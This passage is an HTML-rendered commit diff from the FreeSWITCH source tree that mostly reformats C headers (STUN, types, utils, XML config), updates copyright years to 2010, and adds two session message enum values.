</span><span class="lines">@@ -41,8 +41,7 @@
</span><span class="cx"> #define SWITCH_STUN_DEFAULT_PORT 3478
</span><span class="cx"> #define SWITCH_STUN_PACKET_MIN_LEN 20
</span><span class="cx"> #define SWITCH_STUN_ATTRIBUTE_MIN_LEN 8
</span><del>-
-typedef enum {
</del><ins>+        typedef enum {
</ins><span class="cx">         SWITCH_STUN_BINDING_REQUEST = 0x0001,
</span><span class="cx">         SWITCH_STUN_BINDING_RESPONSE = 0x0101,
</span><span class="cx">         SWITCH_STUN_BINDING_ERROR_RESPONSE = 0x0111,
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_typesh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_types.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_types.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_types.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -181,7 +181,6 @@
</span><span class="cx"> #define SWITCH_BITS_PER_BYTE 8
</span><span class="cx"> #define SWITCH_DEFAULT_FILE_BUFFER_LEN 65536
</span><span class="cx"> #define SWITCH_DTMF_LOG_LEN 1000
</span><del>-
</del><span class="cx"> typedef uint8_t switch_byte_t;
</span><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><span class="lines">@@ -394,7 +393,7 @@
</span><span class="cx"> #define SWITCH_INTERVAL_PAD 10        /* A little extra buffer space to be safe */
</span><span class="cx"> #define SWITCH_MAX_SAMPLE_LEN 48
</span><span class="cx"> #define SWITCH_BYTES_PER_SAMPLE 2        /* slin is 2 bytes per sample */
</span><del>-#define SWITCH_RECOMMENDED_BUFFER_SIZE 4096 /* worst case of 32khz @60ms we only do 48khz @10ms which is 960 */
</del><ins>+#define SWITCH_RECOMMENDED_BUFFER_SIZE 4096        /* worst case of 32khz @60ms we only do 48khz @10ms which is 960 */
</ins><span class="cx"> #define SWITCH_MAX_CODECS 50
</span><span class="cx"> #define SWITCH_MAX_STATE_HANDLERS 30
</span><span class="cx"> #define SWITCH_CORE_QUEUE_LEN 100000
</span><span class="lines">@@ -425,7 +424,7 @@
</span><span class="cx">         SWITCH_XML_SECTION_DIRECTORY = (1 &lt;&lt; 1),
</span><span class="cx">         SWITCH_XML_SECTION_DIALPLAN = (1 &lt;&lt; 2),
</span><span class="cx">         SWITCH_XML_SECTION_PHRASES = (1 &lt;&lt; 3),
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Nothing after this line */
</span><span class="cx">         SWITCH_XML_SECTION_MAX = (1 &lt;&lt; 4)
</span><span class="cx"> } switch_xml_section_enum_t;
</span><span class="lines">@@ -530,36 +529,35 @@
</span><span class="cx"> typedef uint32_t switch_rtp_flag_t;
</span><span class="cx"> 
</span><span class="cx"> typedef enum {
</span><del>-        RTP_BUG_NONE = 0, /* won't be using this one much ;) */
</del><ins>+        RTP_BUG_NONE = 0,                        /* won't be using this one much ;) */
</ins><span class="cx"> 
</span><span class="cx">         RTP_BUG_CISCO_SKIP_MARK_BIT_2833 = (1 &lt;&lt; 0),
</span><span class="cx">         /* Some Cisco devices get mad when you send the mark bit on new 2833 because it makes
</span><span class="cx">            them flush their jitterbuffer and the dtmf along with it.
</span><span class="cx"> 
</span><span class="cx">            This flag will disable the sending of the mark bit on the first DTMF packet.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833 = (1 &lt;&lt; 1)
</span><del>-        /*
-          Sonus wrongly expects that, when sending a multi-packet 2833 DTMF event, The sender
-          should increment the RTP timestamp in each packet when, in reality, the sender should
-          send the same exact timestamp and increment the duration field in the 2833 payload.
-          This allows a reconstruction of the duration if any of the packets are lost.
</del><ins>+                /*
+                   Sonus wrongly expects that, when sending a multi-packet 2833 DTMF event, The sender
+                   should increment the RTP timestamp in each packet when, in reality, the sender should
+                   send the same exact timestamp and increment the duration field in the 2833 payload.
+                   This allows a reconstruction of the duration if any of the packets are lost.
</ins><span class="cx"> 
</span><del>-          final_duration - initial_timestamp = total_samples
</del><ins>+                   final_duration - initial_timestamp = total_samples
</ins><span class="cx"> 
</span><del>-          However, if the duration value exceeds the space allocated (16 bits), The sender should increment
-          the timestamp one unit and reset the duration to 0. 
-          
-          Always sending a duration of 0 with a new timestamp should be tolerated but is rarely intentional
-          and is mistakenly done by many devices.  
-          The issue is that the Sonus expects everyone to do it this way instead of tolerating either way.
-          Sonus will actually ignore every packet with the same timestamp before concluding if it's DTMF.
-          
-          This flag will cause each packet to have a new timestamp.
-        */
</del><ins>+                   However, if the duration value exceeds the space allocated (16 bits), The sender should increment
+                   the timestamp one unit and reset the duration to 0. 
</ins><span class="cx"> 
</span><ins>+                   Always sending a duration of 0 with a new timestamp should be tolerated but is rarely intentional
+                   and is mistakenly done by many devices.  
+                   The issue is that the Sonus expects everyone to do it this way instead of tolerating either way.
+                   Sonus will actually ignore every packet with the same timestamp before concluding if it's DTMF.
+
+                   This flag will cause each packet to have a new timestamp.
+                 */
</ins><span class="cx"> } switch_rtp_bug_flag_t;
</span><span class="cx"> 
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="lines">@@ -680,6 +678,8 @@
</span><span class="cx">         SWITCH_MESSAGE_INDICATE_SIMPLIFY,
</span><span class="cx">         SWITCH_MESSAGE_INDICATE_DEBUG_AUDIO,
</span><span class="cx">         SWITCH_MESSAGE_INDICATE_PROXY_MEDIA,
</span><ins>+        SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC,
+        SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC_COMPLETE,
</ins><span class="cx">         SWITCH_MESSAGE_INVALID
</span><span class="cx"> } switch_core_session_message_types_t;
</span><span class="cx"> 
</span><span class="lines">@@ -1545,7 +1545,7 @@
</span><span class="cx"> 
</span><span class="cx"> typedef void (*switch_event_callback_t) (switch_event_t *);
</span><span class="cx"> typedef switch_caller_extension_t *(*switch_dialplan_hunt_function_t) (switch_core_session_t *, void *, switch_caller_profile_t *);
</span><del>-#define SWITCH_STANDARD_DIALPLAN(name) static switch_caller_extension_t * name (switch_core_session_t *session, void *arg, switch_caller_profile_t *caller_profile)
</del><ins>+#define SWITCH_STANDARD_DIALPLAN(name) static switch_caller_extension_t *name (switch_core_session_t *session, void *arg, switch_caller_profile_t *caller_profile)
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> typedef struct switch_scheduler_task switch_scheduler_task_t;
</span><span class="lines">@@ -1579,9 +1579,9 @@
</span><span class="cx">                                                                                                   char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args);
</span><span class="cx"> typedef struct switch_xml *switch_xml_t;
</span><span class="cx"> typedef struct switch_core_time_duration switch_core_time_duration_t;
</span><del>-typedef switch_xml_t (*switch_xml_search_function_t) (const char *section,
-                                                                                                          const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
-                                                                                                          void *user_data);
</del><ins>+typedef switch_xml_t(*switch_xml_search_function_t) (const char *section,
+                                                                                                         const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
+                                                                                                         void *user_data);
</ins><span class="cx"> 
</span><span class="cx"> typedef struct switch_hash switch_hash_t;
</span><span class="cx"> struct HashElem;
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_utilsh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_utils.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_utils.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_utils.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -40,9 +40,7 @@
</span><span class="cx"> 
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> 
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-SWITCH_DECLARE(int) switch_toupper(int c);
</del><ins>+SWITCH_BEGIN_EXTERN_C SWITCH_DECLARE(int) switch_toupper(int c);
</ins><span class="cx"> SWITCH_DECLARE(int) switch_tolower(int c);
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalnum(int c);
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalpha(int c);
</span><span class="lines">@@ -74,7 +72,8 @@
</span><span class="cx">   \param s the string to test
</span><span class="cx">   \return true value if the string is NULL or zero length
</span><span class="cx"> */
</span><del>-static inline int zstr(const char *s) {
</del><ins>+         static inline int zstr(const char *s)
+{
</ins><span class="cx">         return !s || *s == '\0';
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -106,7 +105,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 i = strchr(i, '\\');
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -208,11 +207,11 @@
</span><span class="cx"> /*!
</span><span class="cx">   \brief flags to be used with switch_build_uri()
</span><span class="cx">  */
</span><del>-enum switch_uri_flags {
-        SWITCH_URI_NUMERIC_HOST = 1,
-        SWITCH_URI_NUMERIC_PORT = 2,
-        SWITCH_URI_NO_SCOPE = 4
-};
</del><ins>+         enum switch_uri_flags {
+                 SWITCH_URI_NUMERIC_HOST = 1,
+                 SWITCH_URI_NUMERIC_PORT = 2,
+                 SWITCH_URI_NO_SCOPE = 4
+         };
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief build a URI string from components
</span><span class="lines">@@ -224,12 +223,7 @@
</span><span class="cx">   \param flags logical OR-ed combination of flags from \ref switch_uri_flags
</span><span class="cx">   \return number of characters printed (not including the trailing null)
</span><span class="cx">  */
</span><del>-SWITCH_DECLARE(int) switch_build_uri(char *uri,
-                                                                         switch_size_t size,
-                                                                         const char *scheme,
-                                                                         const char *user,
-                                                                         const switch_sockaddr_t *sa,
-                                                                         int flags);
</del><ins>+SWITCH_DECLARE(int) switch_build_uri(char *uri, switch_size_t size, const char *scheme, const char *user, const switch_sockaddr_t *sa, int flags);
</ins><span class="cx"> 
</span><span class="cx"> #define SWITCH_STATUS_IS_BREAK(x) (x == SWITCH_STATUS_BREAK || x == 730035 || x == 35)
</span><span class="cx"> 
</span><span class="lines">@@ -313,7 +307,7 @@
</span><span class="cx"> #define switch_set_string(_dst, _src) switch_copy_string(_dst, _src, sizeof(_dst))
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static inline char *switch_sanitize_number(char *number)
</del><ins>+         static inline char *switch_sanitize_number(char *number)
</ins><span class="cx"> {
</span><span class="cx">         char *p = number, *q;
</span><span class="cx">         char warp[] = &quot;/:&quot;;
</span><span class="lines">@@ -323,10 +317,12 @@
</span><span class="cx">                 return number;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        while((q = strrchr(p, '@'))) *q = '\0';

-        for(i = 0; i &lt; (int)strlen(warp); i++) {
-                while(p &amp;&amp; (q = strchr(p, warp[i]))) p = q + 1;
</del><ins>+        while ((q = strrchr(p, '@')))
+                *q = '\0';
+
+        for (i = 0; i &lt; (int) strlen(warp); i++) {
+                while (p &amp;&amp; (q = strchr(p, warp[i])))
+                        p = q + 1;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return p;
</span><span class="lines">@@ -334,46 +330,46 @@
</span><span class="cx"> 
</span><span class="cx"> static inline switch_bool_t switch_string_var_check(char *s, switch_bool_t disable)
</span><span class="cx"> {
</span><del>-    char *p;
</del><ins>+        char *p;
</ins><span class="cx">         char *dol = NULL;
</span><span class="cx"> 
</span><del>-    for (p = s; p &amp;&amp; *p; p++) {
-        if (*p == '$') {
-            dol = p;
-        } else if (dol) {
-            if (*p == '{') {
</del><ins>+        for (p = s; p &amp;&amp; *p; p++) {
+                if (*p == '$') {
+                        dol = p;
+                } else if (dol) {
+                        if (*p == '{') {
</ins><span class="cx">                                 if (disable) {
</span><span class="cx">                                         *dol = '%';
</span><span class="cx">                                         dol = NULL;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         return SWITCH_TRUE;
</span><span class="cx">                                 }
</span><del>-            } else if (*p != '\\') {
-                dol = NULL;
-            }
-        }
-    }
-    return SWITCH_FALSE;
</del><ins>+                        } else if (*p != '\\') {
+                                dol = NULL;
+                        }
+                }
+        }
+        return SWITCH_FALSE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static inline switch_bool_t switch_string_var_check_const(const char *s)
</span><span class="cx"> {
</span><del>-    const char *p;
</del><ins>+        const char *p;
</ins><span class="cx">         int dol = 0;
</span><span class="cx"> 
</span><del>-    for (p = s; p &amp;&amp; *p; p++) {
-        if (*p == '$') {
-            dol = 1;
-        } else if (dol) {
-            if (*p == '{') {
-                                        return SWITCH_TRUE;
-            } else if (*p != '\\') {
-                dol = 0;
-            }
-        }
-    }
-    return SWITCH_FALSE;
</del><ins>+        for (p = s; p &amp;&amp; *p; p++) {
+                if (*p == '$') {
+                        dol = 1;
+                } else if (dol) {
+                        if (*p == '{') {
+                                return SWITCH_TRUE;
+                        } else if (*p != '\\') {
+                                dol = 0;
+                        }
+                }
+        }
+        return SWITCH_FALSE;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static inline char *switch_var_clean_string(char *s)
</span><span class="lines">@@ -386,7 +382,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *p;
</span><span class="cx">         for (p = s; p &amp;&amp; *p; p++) {
</span><del>-                uint8_t x = (uint8_t) *p;
</del><ins>+                uint8_t x = (uint8_t) * p;
</ins><span class="cx">                 if ((x &lt; 32) &amp;&amp; x != '\n' &amp;&amp; x != '\r') {
</span><span class="cx">                         *p = ' ';
</span><span class="cx">                 }
</span><span class="lines">@@ -403,7 +399,7 @@
</span><span class="cx"> */
</span><span class="cx"> #define switch_safe_free(it) if (it) {free(it);it=NULL;}
</span><span class="cx"> 
</span><del>-static inline char *switch_safe_strdup(const char *it) 
</del><ins>+static inline char *switch_safe_strdup(const char *it)
</ins><span class="cx"> {
</span><span class="cx">         if (it) {
</span><span class="cx">                 return strdup(it);
</span><span class="lines">@@ -413,14 +409,14 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static inline char *switch_lc_strdup(const char *it) 
</del><ins>+static inline char *switch_lc_strdup(const char *it)
</ins><span class="cx"> {
</span><span class="cx">         char *dup;
</span><span class="cx">         char *p;
</span><span class="cx"> 
</span><span class="cx">         if (it) {
</span><span class="cx">                 dup = strdup(it);
</span><del>-                for(p = dup; p &amp;&amp; *p; p++) {
</del><ins>+                for (p = dup; p &amp;&amp; *p; p++) {
</ins><span class="cx">                         *p = (char) switch_tolower(*p);
</span><span class="cx">                 }
</span><span class="cx">                 return dup;
</span><span class="lines">@@ -430,14 +426,14 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static inline char *switch_uc_strdup(const char *it) 
</del><ins>+static inline char *switch_uc_strdup(const char *it)
</ins><span class="cx"> {
</span><span class="cx">         char *dup;
</span><span class="cx">         char *p;
</span><span class="cx"> 
</span><span class="cx">         if (it) {
</span><span class="cx">                 dup = strdup(it);
</span><del>-                for(p = dup; p &amp;&amp; *p; p++) {
</del><ins>+                for (p = dup; p &amp;&amp; *p; p++) {
</ins><span class="cx">                         *p = (char) switch_toupper(*p);
</span><span class="cx">                 }
</span><span class="cx">                 return dup;
</span><span class="lines">@@ -562,7 +558,7 @@
</span><span class="cx"> SWITCH_DECLARE(char *) switch_escape_char(switch_memory_pool_t *pool, char *in, const char *delim, char esc);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(char *) switch_escape_string(const char *in, char *out, switch_size_t outlen);
</span><del>-SWITCH_DECLARE(char*) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(char *) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool);
</ins><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="cx">   \brief Wait for a socket
</span><span class="lines">@@ -591,17 +587,14 @@
</span><span class="cx"> #define SWITCH_READ_ACCEPTABLE(status) (status == SWITCH_STATUS_SUCCESS || status == SWITCH_STATUS_BREAK)
</span><span class="cx"> SWITCH_DECLARE(size_t) switch_url_encode(const char *url, char *buf, size_t len);
</span><span class="cx"> SWITCH_DECLARE(char *) switch_url_decode(char *s);
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to, 
-                                                                                                  const char *from, 
-                                                                                                  const char *headers, 
-                                                                                                  const char *body, 
-                                                                                                  const char *file,
-                                                                                                  const char *convert_cmd,
-                                                                                                  const char *convert_ext);
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
+                                                                                                  const char *from,
+                                                                                                  const char *headers,
+                                                                                                  const char *body, const char *file, const char *convert_cmd, const char *convert_ext);
</ins><span class="cx"> SWITCH_DECLARE(char *) switch_find_end_paren(const char *s, char open, char close);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static inline switch_bool_t switch_is_file_path(const char *file)
</del><ins>+         static inline switch_bool_t switch_is_file_path(const char *file)
</ins><span class="cx"> {
</span><span class="cx">         const char *e;
</span><span class="cx">         int r;
</span><span class="lines">@@ -611,21 +604,21 @@
</span><span class="cx">                         file = e + 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><del>-        r = (file &amp;&amp; (*file == '\\' || *(file +1) == ':' || *file == '/' || strstr(file, SWITCH_URL_SEPARATOR)));
</del><ins>+        r = (file &amp;&amp; (*file == '\\' || *(file + 1) == ':' || *file == '/' || strstr(file, SWITCH_URL_SEPARATOR)));
</ins><span class="cx"> #else
</span><span class="cx">         r = (file &amp;&amp; ((*file == '/') || strstr(file, SWITCH_URL_SEPARATOR)));
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         return r ? SWITCH_TRUE : SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_parse_cidr(const char *string, uint32_t *ip, uint32_t *mask, uint32_t *bitp);
</span><del>-SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type, switch_memory_pool_t *pool);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_network_list_create(switch_network_list_t **list, const char *name, switch_bool_t default_type,
+                                                                                                                   switch_memory_pool_t *pool);
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_network_list_add_cidr_token(switch_network_list_t *list, const char *cidr_str, switch_bool_t ok, const char *token);
</span><span class="cx"> #define switch_network_list_add_cidr(_list, _cidr_str, _ok) switch_network_list_add_cidr_token(_list, _cidr_str, _ok, NULL)
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_xmlh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_xml.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_xml.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_xml.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -103,7 +103,7 @@
</span><span class="cx">  * \param s The string to parse
</span><span class="cx">  * \param dup true if you want the string to be strdup()'d automatically
</span><span class="cx">  * \return the switch_xml_t or NULL if an error occured
</span><del>- */ 
</del><ins>+ */
</ins><span class="cx"> SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(_In_z_ char *s, _In_ switch_bool_t dup);
</span><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="lines">@@ -156,7 +156,8 @@
</span><span class="cx"> ///\param attrname the attribute name
</span><span class="cx"> ///\param value the value
</span><span class="cx"> ///\return an xml node or NULL
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname, _In_opt_z_ const char *value);
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child(_In_ switch_xml_t node, _In_z_ const char *childname, _In_opt_z_ const char *attrname,
+                                                                                                   _In_opt_z_ const char *value);
</ins><span class="cx"> SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(_In_ switch_xml_t node, _In_z_ const char *childname, ...);
</span><span class="cx"> 
</span><span class="cx"> ///\brief returns the next tag of the same name in the same section and depth or NULL
</span><span class="lines">@@ -202,7 +203,7 @@
</span><span class="cx"> ///\ Returns NULL if not found.
</span><span class="cx"> ///\param xml the xml node
</span><span class="cx"> ///\return an xml node or NULL
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml, ...);
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_get(_In_ switch_xml_t xml,...);
</ins><span class="cx"> 
</span><span class="cx"> ///\brief Converts an switch_xml structure back to xml. Returns a string of xml data that
</span><span class="cx"> ///\ must be freed.
</span><span class="lines">@@ -218,7 +219,8 @@
</span><span class="cx"> ///\param offset offset to start at
</span><span class="cx"> ///\param prn_header add &lt;?xml version..&gt; header too
</span><span class="cx"> ///\return the xml text string
</span><del>-SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset, _In_ switch_bool_t prn_header);
</del><ins>+SWITCH_DECLARE(char *) switch_xml_toxml_buf(_In_ switch_xml_t xml, _In_z_ char *buf, _In_ switch_size_t buflen, _In_ switch_size_t offset,
+                                                                                        _In_ switch_bool_t prn_header);
</ins><span class="cx"> 
</span><span class="cx"> ///\brief returns a NULL terminated array of processing instructions for the given
</span><span class="cx"> ///\ target
</span><span class="lines">@@ -346,30 +348,28 @@
</span><span class="cx"> ///\return SWITCH_STATUS_SUCCESS if successful root and node will be assigned
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate(_In_z_ const char *section,
</span><span class="cx">                                                                                                   _In_opt_z_ const char *tag_name,
</span><del>-                                                                                                  _In_opt_z_ const char *key_name, 
-                                                                                                  _In_opt_z_ const char *key_value, 
-                                                                                                  _Out_ switch_xml_t *root, 
-                                                                                                  _Out_ switch_xml_t *node,
-                                                                                                  _In_opt_ switch_event_t *params,
-                                                                                                  _In_ switch_bool_t clone);
</del><ins>+                                                                                                  _In_opt_z_ const char *key_name,
+                                                                                                  _In_opt_z_ const char *key_value,
+                                                                                                  _Out_ switch_xml_t *root,
+                                                                                                  _Out_ switch_xml_t *node, _In_opt_ switch_event_t *params, _In_ switch_bool_t clone);
</ins><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(_In_z_ const char *domain_name, _In_opt_ switch_event_t *params, _Out_ switch_xml_t *root,
+                                                                                                                 _Out_ switch_xml_t *domain);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(_In_z_ const char *group_name,
</span><del>-                                                                                                                _In_z_ const char *domain_name, 
</del><ins>+                                                                                                                _In_z_ const char *domain_name,
</ins><span class="cx">                                                                                                                 _Out_ switch_xml_t *root,
</span><del>-                                                                                                                _Out_ switch_xml_t *domain,
-                                                                                                                _Out_ switch_xml_t *group,
-                                                                                                                _In_opt_ switch_event_t *params);
</del><ins>+                                                                                                                _Out_ switch_xml_t *domain, _Out_ switch_xml_t *group, _In_opt_ switch_event_t *params);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(_In_z_ const char *key,
</span><span class="cx">                                                                                                            _In_z_ const char *user_name,
</span><span class="cx">                                                                                                            _In_z_ const char *domain_name,
</span><span class="cx">                                                                                                            _In_opt_z_ const char *ip,
</span><del>-                                                                                                           _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup, 
-                                                                                                           _In_opt_ switch_event_t *params);
</del><ins>+                                                                                                           _Out_ switch_xml_t *root, _Out_ switch_xml_t *domain, _Out_ switch_xml_t *user,
+                                                                                                           _Out_opt_ switch_xml_t *ingroup, _In_opt_ switch_event_t *params);
</ins><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user, _Out_opt_ switch_xml_t *ingroup);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(_In_z_ const char *user_name, _In_ switch_xml_t domain, _Out_ switch_xml_t *user,
+                                                                                                                                 _Out_opt_ switch_xml_t *ingroup);
</ins><span class="cx"> 
</span><span class="cx"> ///\brief open a config in the core registry
</span><span class="cx"> ///\param file_path the name of the config section e.g. modules.conf
</span><span class="lines">@@ -390,7 +390,8 @@
</span><span class="cx"> SWITCH_DECLARE(switch_xml_section_t) switch_xml_get_binding_sections(_In_ switch_xml_binding_t *binding);
</span><span class="cx"> SWITCH_DECLARE(void *) switch_xml_get_binding_user_data(_In_ switch_xml_binding_t *binding);
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections, _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(_In_ switch_xml_search_function_t function, _In_ switch_xml_section_t sections,
+                                                                                                                                        _In_opt_ void *user_data, switch_xml_binding_t **ret_binding);
</ins><span class="cx"> #define switch_xml_bind_search_function(_f, _s, _u) switch_xml_bind_search_function_ret(_f, _s, _u, NULL)
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcincludeswitch_xml_configh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/include/switch_xml_config.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/include/switch_xml_config.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/include/switch_xml_config.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -36,38 +36,37 @@
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> 
</span><span class="cx"> SWITCH_BEGIN_EXTERN_C
</span><ins>+/*! \brief Type of value to parse */
+        typedef enum {
+        SWITCH_CONFIG_INT,                        /*&lt; (ptr=int* default=int data=NULL) Integer */
+        SWITCH_CONFIG_STRING,                /*&lt; (ptr=[char* or char ** (for alloc)] default=char* data=switch_xml_config_string_options_t*) Zero-terminated C-string */
+        SWITCH_CONFIG_BOOL,                        /*&lt; (ptr=switch_bool_t* default=switch_bool_t data=NULL) Yes and no */
+        SWITCH_CONFIG_CUSTOM,                /*&lt; (ptr=&lt;custom function data&gt; default=&lt;custom function data&gt; data=switch_xml_config_callback_t) Custom, get value through function pointer  */
+        SWITCH_CONFIG_ENUM,                        /*&lt; (ptr=int* default=int data=switch_xml_config_enum_item_t*) */
+        SWITCH_CONFIG_FLAG,                        /*&lt; (ptr=int32_t* default=switch_bool_t data=int (flag index) */
+        SWITCH_CONFIG_FLAGARRAY,        /*&lt; (ptr=int8_t* default=switch_bool_t data=int (flag index) */
</ins><span class="cx"> 
</span><del>-/*! \brief Type of value to parse */
-typedef enum {
-        SWITCH_CONFIG_INT,                                /*&lt; (ptr=int* default=int data=NULL) Integer */
